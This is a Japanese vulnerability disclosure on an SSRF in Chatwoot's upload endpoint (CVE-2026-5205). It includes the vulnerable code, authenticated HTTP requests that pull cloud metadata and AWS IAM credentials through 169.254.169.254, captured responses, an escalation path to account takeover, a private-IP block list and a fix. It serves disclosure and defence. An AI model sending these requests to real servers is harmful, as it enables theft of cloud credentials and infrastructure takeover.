CVE-2026-5205:Chatwootのアップロード機能に存在するクリティカルなSSRF
Chatwootのアップロードエンドポイント(≤ v4.12.1)に存在するクリティカルなサーバーサイドリクエストフォージェリ(SSRF)脆弱性の詳細解説。/api/v1/accounts/:id/uploadエンドポイントはexternal_urlパラメーターをスキームチェックのみで検証しており、認証済みのエージェントであれば誰でもサーバーに任意の内部URLを取得させることができます。レスポンスボディ全体がActiveStorageのブロブを通じてインバンドで返されるため、アップロードエンドポイントが完全な読み取りプロキシと化します。DigitalOceanのドロップレット上での実証により、ドロップレットID、ホスト名、SSH公開鍵、完全なメタデータバンドルを含むクラウドメタデータのインバンド窃取が確認されました。v4.13.0で修正済み。
CVE-2026-5205
Chatwoot:/api/v1/accounts/:id/uploadに存在するクリティカルなSSRF
2026年3月26日 · CWE-918 · Chatwoot ≤ v4.12.1
| 項目 | 詳細 |
|---|---|
| 弱点 | CWE-918:サーバーサイドリクエストフォージェリ |
| 重大度 | 高 |
| 影響範囲 | Chatwoot ≤ v4.12.1 |
| 修正バージョン | v4.13.0 |
| 認証 | エージェント(最低権限のロール) |
| 影響を受けるコンポーネント | app/controllers/api/v1/accounts/upload_controller.rb |
経緯
発端は、あるアップロードエンドポイントと、信頼すべきではなかった1つのパラメーターでした。
当社Ostorlabで、私はChatwootのコードベースをレビューしていました。ChatwootはIntercomの代替を標榜するオープンソースの顧客エンゲージメントプラットフォームです。アプリケーション内のデータフローを追跡していく中で、アップロードコントローラーにたどり着きました。/api/v1/accounts/:id/uploadにあるこのエンドポイントはexternal_urlパラメーターを受け取ります。URLを渡すと、サーバーがそのリソースを取得してActiveStorageのブロブとして保存し、結果をダウンロードするためのfile_urlを返してくるのです。
すぐに疑問が浮かびました。このエンドポイントがフェッチするのを、いったい何が止めるのか。たとえば http://169.254.169.254/?
答えは「何も止めない」でした。ユーザー入力と外向きのHTTPリクエストの間に立っていたのは、validate_uriというたった1つの関数だけです。この関数はURLのスキームをチェックします。それだけです。ホスト名の検証もありません。IP範囲のブロックもありません。DNSリバインディング対策もありません。サーバーは任意のhttp://またはhttps://のURLを嬉々として取得し、そのレスポンスを保存して、呼び出し元に返してしまいます。
そして、攻撃者がサイドチャネルを通じてレスポンスを推測しなければならないブラインドSSRF脆弱性とは異なり、これはActiveStorageのブロブを通じてレスポンスボディ全体をインバンドで返します。アウトオブバンドの窃取は不要です。タイミング攻撃も不要です。サーバーがデータを取得し、保存し、お盆に載せて差し出してくれるのです。
私は未改変のchatwoot/chatwoot:latestをDigitalOceanのドロップレット上にデプロイし、完全なエクスプロイトチェーンを確認しました。メタデータサービスに対する6回連続のリクエストで、そのたびに実際のインフラデータがブロブURLを通じて返ってきました。ドロップレットID。ホスト名。パブリックIP。SSH公開鍵。完全なメタデータJSONバンドル。すべてが単純なGETリクエストで読み取り可能でした。
この検出結果は、GitHub Security Advisory経由でChatwootのセキュリティチームに報告しました。報告された問題はすでに報告済みであり、v4.13.0で修正済みであることが確認されました。本記事では、私が発見した通りにこの脆弱性を記録します。脆弱なコード、エクスプロイトチェーン、そして実際のインフラ上での実証です。
脆弱性:external_urlパラメーターを介したSSRF(CVE-2026-5205)
シンク
Chatwootの/api/v1/accounts/:id/uploadにあるアップロードエンドポイントは、external_urlパラメーターを受け取ります。サーバーはRubyのopen-uriを使ってサーバーサイドでそのURLを取得し、レスポンスボディをActiveStorageのブロブとして保存し、そのブロブURLを呼び出し元へ直接返します。攻撃者はその後file_urlをたどることで、生の上流レスポンスを読み取ることができます。完全なインバンド窃取です。
データフローの追跡
脆弱なコードはapp/controllers/api/v1/accounts/upload_controller.rbにあります。
def validate_uri(uri)
raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
end
def fetch_and_process_file_from_uri(uri)
uri.open do |file| # open-uri fetches ANY http(s) URL incl. 169.254.169.254
create_and_save_blob(file, File.basename(uri.path), file.content_type)
end
end
これだけです。validate_uriはURLがhttp://またはhttps://を使っているかどうかを検証します。それ以外は何もしません。ホスト名の検証もありません。IP範囲のチェックもありません。許可リストもありません。http://169.254.169.254/metadata/v1/idはこのチェックを一瞥もされずに通過します。
uri.open(open-uriに由来)は、スキームチェックを通過した任意のURLに対して実際のHTTP GETを行います。そのレスポンスはcreate_and_save_blobによって消費され、生のボディがActiveStorageのブロブとして保存されます。ブロブのfile_urlはJSONレスポンスで返され、攻撃者に上流レスポンスボディ全体への直接アクセスを与えてしまいます。
サーバーは次のように応答します。
{ "file_url": "...", "blob_id": "..." }
file_urlをたどると、生の上流ボディが返ります。これが窃取チャネルのすべてであり、アプリケーションの通常のレスポンスフローに組み込まれているのです。
皮肉な点:Enterprise版のコードには保護があるのに、コア版にはない
皮肉が刺さります。ChatwootのEnterprise版には、すでにenterprise/lib/captain/tools/http_tool.rbに適切なSSRF対策が含まれています。
PRIVATE_IP_RANGES = [
IPAddr.new('127.0.0.0/8'), # IPv4 Loopback
IPAddr.new('10.0.0.0/8'), # IPv4 Private network
IPAddr.new('172.16.0.0/12'), # IPv4 Private network
IPAddr.new('192.168.0.0/16'), # IPv4 Private network
IPAddr.new('169.254.0.0/16'), # IPv4 Link-local (cloud metadata)
IPAddr.new('::1'), # IPv6 Loopback
IPAddr.new('fc00::/7'), # IPv6 Unique local addresses
IPAddr.new('fe80::/10') # IPv6 Link-local
].freeze
def check_private_ip!(hostname)
ip_address = IPAddr.new(Resolv.getaddress(hostname))
raise 'Request blocked: hostname resolves to private IP address' if
PRIVATE_IP_RANGES.any? { |range| range.include?(ip_address) }
end
プライベートIPを完全にカバーしています。チェックの前にDNS解決を行っています。まさにvalidate_uriに必要だったものです。しかしこの保護はEnterprise版のAIツールモジュールに閉じ込められていて、アップロードコントローラーには一切適用されず、external_urlのダウンロード経路を無防備なまま放置していました。
修正策は同じコードベースの中にあったのです。ただ、つながれていなかっただけでした。
実証:DigitalOceanのドロップレット
私はこれを、DigitalOceanのドロップレット上の未改変のchatwoot/chatwoot:latestデプロイメントに対してテストしました。特別な設定も、変更された設定もなく、デフォルトのdocker-compose.production.yamlのみです。結果がすべてを物語っています。
テスト環境
| 項目 | 値 |
|---|---|
| プロバイダー | DigitalOcean |
| リージョン | lon1 |
| ドロップレットID | 552923997 |
| ホスト名 | ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01 |
| パブリックIP | 167.99.195.252 |
| イメージ | chatwoot/chatwoot:latest(デフォルトのdocker-compose.production.yaml) |
| 攻撃者 | agent@acme.test(ロール0 — エージェント、非管理者) |
ステップ1 — 最低権限のエージェントとして認証する
POST /auth/sign_in HTTP/1.1
Content-Type: application/json
{"email":"agent@acme.test","password":"Password1!"}
キャプチャしたレスポンスヘッダー:
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
攻撃者に管理者アクセスは必要ありません。アップロードエンドポイントに到達するには、最低権限のエージェントロールで十分です。
ステップ2 — DigitalOceanメタデータサービスに対してSSRFリクエストを送る
6つのリクエストはすべて、同じ認証済みテンプレートを使います。
POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data
external_url=<TARGET>
サーバーは{ "file_url": "...", "blob_id": "..." }と応答します。file_urlをたどると、生の上流ボディ、つまりメタデータサービスからの完全なレスポンスが返ります。
結果 — 6回連続のメタデータ窃取リクエスト
| # | external_urlのターゲット |
返されたブロブのボディ |
|---|---|---|
| 1 | http://169.254.169.254/metadata/v1/id |
552923997 |
| 2 | http://169.254.169.254/metadata/v1/hostname |
ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01 |
| 3 | http://169.254.169.254/metadata/v1/region |
lon1 |
| 4 | http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address |
167.99.195.252 |
| 5 | http://169.254.169.254/metadata/v1/public-keys |
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDGORTi7ekb1WsK+3qrDp4IKdaRt/OoAVf0SNSAGuMGd soop@soop |
| 6 | http://169.254.169.254/metadata/v1.json |
DOメタデータバンドル全体(droplet_id、vendor_data cloud-init、public_keys、interfaces、dns、…) |
すべてのレスポンス、つまりドロップレットID、ホスト名、パブリックIP、SSH公開鍵、そして完全なメタデータJSONが、ActiveStorageのブロブを通じて返ってきて、攻撃者はfile_urlへの単純なGETで読み取ることができました。
完全なリクエスト/レスポンスのサンプル — ドロップレットIDの窃取
リクエスト:
POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data
external_url=http://169.254.169.254/metadata/v1/id
レスポンス:
{
"file_url": "http://167.99.195.252:3000/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368/id",
"blob_id": "eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368"
}
file_urlの取得:
552923997
ドロップレットID。DigitalOceanのコントロールパネルと照合して確認済みです。デフォルトのChatwootインストールから、実際のデータがインバンドで窃取されました。
エスカレーション:SSRFからクラウドアカウント乗っ取りへ
AWS IMDSv1 — 最悪のケース
IMDSv1を使用するAWS EC2、ECS、Lambda、またはElastic Beanstalkでホストされているインスタンスでは、このSSRFは完全なクラウドアカウント乗っ取りへの直接の経路となります。
POST /api/v1/accounts/1/upload HTTP/1.1
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data
external_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
メタデータサービスは完全なIAM認証情報を返します。そして、アップロードのSSRFはレスポンスボディ全体をインバンドで返すため、攻撃者はそれらをfile_urlから直接読み取ります。
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "AQoXnyc4lcK4w...",
"Expiration": "2026-04-01T00:00:00Z"
}
そこからのエスカレーション経路は次の通りです。
SSRF → AWS IMDSv1 credentials
→ Attacker has AWS IAM role keys
→ Role has S3/EC2/Lambda/ECS permissions
→ Deploy backdoor Lambda / modify EC2 user data
→ Full RCE on cloud infrastructure
影響
| シナリオ | 影響 |
|---|---|
| AWS IMDSv1(ホップ制限なし) | クリティカル — IAMロールの認証情報を窃取し、AWSアカウントを完全に乗っ取り |
| GCPメタデータAPI | クリティカル — サービスアカウントのOAuthトークンを窃取 |
| Azure IMDS | クリティカル — マネージドIDトークンを窃取 |
| DigitalOceanメタデータ | 高 — クラウドトークン、SSHキー、ユーザーデータを窃取 |
| 内部ネットワークのピボット | 高 — Redis、Postgres管理UI、Sidekiq Web、K8s API、内部マイクロサービスを攻撃 |
| シークレットの窃取 | 高 — 内部のデバッグ/ヘルスエンドポイントを読み取り |
| 権限昇格 | 高 — 窃取したクラウド認証情報がChatwootを超えたアクセスを許可 |
CVE-2026-5205の修正
この脆弱性はChatwoot v4.13.0で修正されました。正式なアドバイザリはGHSA-6fj9-gj7h-q2hfとして追跡されています。
推奨されるアプローチ — 取得前に解決されたIPを検証する
修正では、open-uriがリクエストを行う前に、解決されたIPをプライベート範囲と照合して検証すべきです。
require 'resolv'
PRIVATE_IP_PATTERNS = [
/\A127\./, /\A10\./, /\A172\.(1[6-9]|2\d|3[01])\./,
/\A192\.168\./, /\A169\.254\./, /\Afc00:/i, /\Afe80:/i
].freeze
def validate_uri(uri)
raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
resolved = Resolv.getaddress(uri.host) rescue nil
raise URI::InvalidURIError, 'SSRF: internal host blocked' if resolved && PRIVATE_IP_PATTERNS.any? { |p| p.match?(resolved) }
end
クラウドレベルの緩和策 — IMDSv2を有効化する
AWSでは、IMDSv2を強制してください。IMDSv2はopen-uriでは偽造できないトークンヘッダー付きのPUTを必要とします。
aws ec2 modify-instance-metadata-options \
--instance-id i-xxxx \
--http-tokens required \
--http-put-response-hop-limit 1
これは緩和策であって修正ではありません。IMDSv2に関係なく、内部サービスへのアクセスは依然として可能なままです。
タイムライン
| 日付 | 出来事 |
|---|---|
| 2026-03-26 | ソースコードレビューにより脆弱性を発見 |
| 2026-03-26 | DigitalOceanのドロップレット上での実証により確認(v4.12.1) |
| 2026-03-26 | GitHub Security Advisory経由で報告を提出 |
| 2026-04-22 | Chatwootチームが、問題はすでに報告済みでありv4.13.0で修正済みであることを確認 |
| 2026-04-22 | アドバイザリをクローズ — 正式な追跡はGHSA-6fj9-gj7h-q2hfのもとで |
参考資料
| リソース | リンク |
|---|---|
| 正式なアドバイザリ | GHSA-6fj9-gj7h-q2hf |
| CWE-918:サーバーサイドリクエストフォージェリ | https://cwe.mitre.org/data/definitions/918.html |
| OWASP SSRF Prevention Cheat Sheet | https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html |
| AWS IMDSv1 Exploitation | https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html |
| Chatwoot Security Reporting Guidelines | https://developers.chatwoot.com/contributing-guide/security-reports |